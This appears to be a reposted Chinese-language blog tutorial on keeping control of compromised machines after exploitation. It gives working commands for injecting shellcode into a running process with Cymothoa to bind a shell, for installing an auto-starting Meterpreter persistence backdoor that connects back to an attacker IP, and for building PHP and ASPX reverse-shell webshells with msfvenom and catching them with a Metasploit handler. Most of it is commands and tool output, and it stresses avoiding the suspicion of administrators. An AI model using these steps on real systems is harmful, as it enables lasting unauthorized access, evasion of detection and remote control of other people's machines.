前言
在拿到最高權限后,我們就應該建立后門(backdoor)了,以維持對目標主機的控制權,這樣一來,即使我們所利用的漏洞被補丁程式修復了,還可以通過后門繼續控制目標系統,
后門簡單來說就是一個留在目標主機上的系統,它可以使攻擊者隨時連接到目標主機,大多數情況下,后門是一個運行在目標主機上的隱藏行程,它允許一個普通的、未授權的用戶控制計算機,

作業系統后門
后門泛指繞過目標系統安全控制體系的正規用戶認證程序,從而維持我們對目標系統的控制權,以及隱匿控制行為的方法,Meterpreter提供 了Persistence等后滲透攻擊模塊,通過在目標機上安裝自啟動、永久服務等方式,來長久地控制目標機,
作業系統之Cymothoa后門
Cymothoa是一款可以將ShellCode注入現有行程 (即插行程)的后門工具,借助這種注入手段,它能夠把ShellCode偽裝成常規程式,它所注入的后門]程式應當能夠與被注入的程式(行程)共存,以避免被管理和維護人員懷疑,將ShellCode注入其他行程,還有另外一項優勢:即使目標系統的安全防護工具能夠監視可執行程式的完整性,只要它不檢測記憶體,就發現不了(插行程)后門程式的行程,
值得一提的是該后門注入系統的某一行程, 反彈的是該行程相應的權限(并不需要root),當然,因為后門是以運行中的程式為宿主,所以只要行程關倍訓者目標主機重啟,后門就會停止運行,
首先可查看程式的PID (在Linux系統下輸入ps -aux命令,在Windows系統下輸入tasklist命令)


在使用Cymothoa時,需通過-p選項指定目標行程的PID,并通過-S選項指定ShellCode的編號, ShellCode的編號串列如下:
root@kali:~# cymothoa -S
0 - bind /bin/sh to the provided port (requires -y)
1 - bind /bin/sh + fork() to the provided port (requires -y) - izik <izik@tty64.org>
2 - bind /bin/sh to tcp port with password authentication (requires -y -o)
3 - /bin/sh connect back (requires -x, -y)
4 - tcp socket proxy (requires -x -y -r) - Russell Sanford (xort@tty64.org)
5 - script execution (see the payload), creates a tmp file you must remove
6 - forks an HTTP Server on port tcp/8800 - http://xenomuta.tuxfamily.org/
7 - serial port busybox binding - phar@stonedcoder.org mdavis@ioactive.com
8 - forkbomb (just for fun...) - Kris Katterjohn
9 - open cd-rom loop (follows /dev/cdrom symlink) - izik@tty64.org
10 - audio (knock knock knock) via /dev/dsp - Cody Tubbs (pigspigs@yahoo.com)
11 - POC alarm() scheduled shellcode
12 - POC setitimer() scheduled shellcode
13 - alarm() backdoor (requires -j -y) bind port, fork on accept
14 - setitimer() tail follow (requires -k -x -y) send data via upd
成功滲透目標主機后,就可以把Cymothoa的可執行程式復制到目標主機上,生成后門程式,這里選擇PID為982的行程為宿主行程,選用第一類ShellCode,指定Payload服務埠為4444,具體命令如下:
cymothoa -p 982 -S 1 -y 4444
然后可以利用nc來連接后門
nc -nv IP 埠號
作業系統之persistence后門
一款使用安裝自啟動方式的持久性后門程式,可以利用它創建注冊和檔案,
首先run persistence -h查看用到的所有命令選項
meterpreter > run persistence -h
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
Meterpreter Script for creating a persistent backdoor on a target host.
OPTIONS:
-A Automatically start a matching exploit/multi/handler to connect to the agent
-L <opt> Location in target host to write payload to, if none %TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
-S Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt> Alternate executable template to use
-U Automatically start the agent when the User logs on
-X Automatically start the agent when the system boots
-h This help menu
-i <opt> The interval in seconds between each connection attempt
-p <opt> The port on which the system running Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back
命令的詳解
A:自動啟動Payload程式
S:系統啟動時自動加載
U:用戶登錄時自動啟動
X:開機時自動加載
i:回連的時間間隔
P:監聽反向連接埠號
r:目標機器IP地址
接著輸入命令創建一個持久性后門
meterpreter > run persistence -A -S -U -i 60 -P 4321 -r 192.168.43.86
然后輸入sessions命令查看是否成功獲得了會話
web后門
web后門泛指webshell其實就是一段代碼,由于這些代碼允許在服務端,所以可以進行一些危險的操作獲得敏感的技術資訊或者通過滲透操作提權,從而獲得了服務器的控制權,
web后門能給攻擊者提供非常多的功能(命令執行、瀏覽檔案、輔助提權、執行sql陳述句、反彈shell等)
windows:中國菜刀、蟻劍等
linux:weevely
web之meterpreter后門
在metasploit中,有一個名為php meterpreter的payload利用這個模塊可創建具有meterpreter功能的php webshell步驟如下:
使用msfvenom創建一個webshell.php
上傳webshell.php到服務器
運行metasploit multi-handler開始監聽
訪問webshell.php頁面
獲得反彈的metasploit shell
首先第一步創建
-p引數用于設定payload
-f引數用于設定輸出檔案格式
root@kali:~# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.113 -f raw >webshell.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1115 bytes
然后將生成的webshell.php上傳到目標機的服務器上,打開webshell的地址,接著啟動msfconsole
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.43.86
lhost => 192.168.43.86
msf5 exploit(multi/handler) > run
打開webshell的地址,回到msf發現已經反彈到了shell
web之aspx meterpreter后門
利用metasploit下名為shell_reverse_tcp的payload可創建具有meterpreter功能的各個版本的shellcode步驟如下:
show payloads
use windows/shell_reverse_tcp
info
set lhost ip
set lport 埠號
save
接著輸入generate -h命令查看幫助
msf5 payload(windows/shell_reverse_tcp) > generate -h
Usage: generate [options]
Generates a payload.
OPTIONS:
-E Force encoding
-O <opt> Deprecated: alias for the '-o' option
-P <opt> Total desired payload size, auto-produce approproate NOPsled length
-S <opt> The new section name to use when generating (large) Windows binaries
-b <opt> The list of characters to avoid example: '\x00\xff'
-e <opt> The encoder to use
-f <opt> Output format: bash,c,csharp,dw,dword,hex,java,js_be,js_le,num,perl,pl,powershell,ps1,py,python,raw,rb,ruby,sh,vbapplication,vbscript,asp,aspx,aspx-exe,axis2,dll,elf,elf-so,exe,exe-only,exe-service,exe-small,hta-psh,jar,jsp,loop-vbs,macho,msi,msi-nouac,osx-app,psh,psh-cmd,psh-net,psh-reflection,vba,vba-exe,vba-psh,vbs,war
-h Show this message
-i <opt> The number of times to encode the payload
-k Preserve the template behavior and inject the payload as a new thread
-n <opt> Prepend a nopsled of [length] size on to the payload
-o <opt> The output file name (otherwise stdout)
-p <opt> The platform of the payload
-s <opt> NOP sled length.
-x <opt> Specify a custom executable file to use as a template
設定監聽,等待點擊就行了
msf5 payload(windows/shell_reverse_tcp) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.43.86
lhost => 192.168.43.86
msf5 exploit(multi/handler) > set lport 5432
lport => 5432
msf5 exploit(multi/handler) > run
[-] Handler failed to bind to 192.168.43.86:5432:- -
[*] Started reverse TCP handler on 0.0.0.0:5432

轉載請註明出處,本文鏈接:https://www.uj5u.com/qianduan/34766.html
標籤:其他
